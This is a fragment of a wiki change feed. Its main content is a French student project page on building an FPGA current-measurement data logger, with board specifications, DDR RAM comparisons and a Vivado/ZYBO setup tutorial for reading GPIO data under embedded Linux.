[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27727</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27727"/>
				<updated>2016-02-23T19:28:38Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Récupération des données des GPIOs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center)]]&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans &lt;br /&gt;
Pack_bit&lt;br /&gt;
 si vous n'avez pas fait votre&lt;br /&gt;
propre bitstream&lt;br /&gt;
ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un&lt;br /&gt;
fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans&lt;br /&gt;
/dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que&lt;br /&gt;
l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center)]]&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai   pu   mesurer   la   vitesse d'acquisition   des   données,   celle   ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent   de   récupérer   directement   les données qui sont dans la RAM à partir du linux embarqué.&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Adress_map.PNG&amp;diff=27725</id>
		<title>Fichier:Adress map.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Adress_map.PNG&amp;diff=27725"/>
				<updated>2016-02-23T19:27:02Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27724</id>
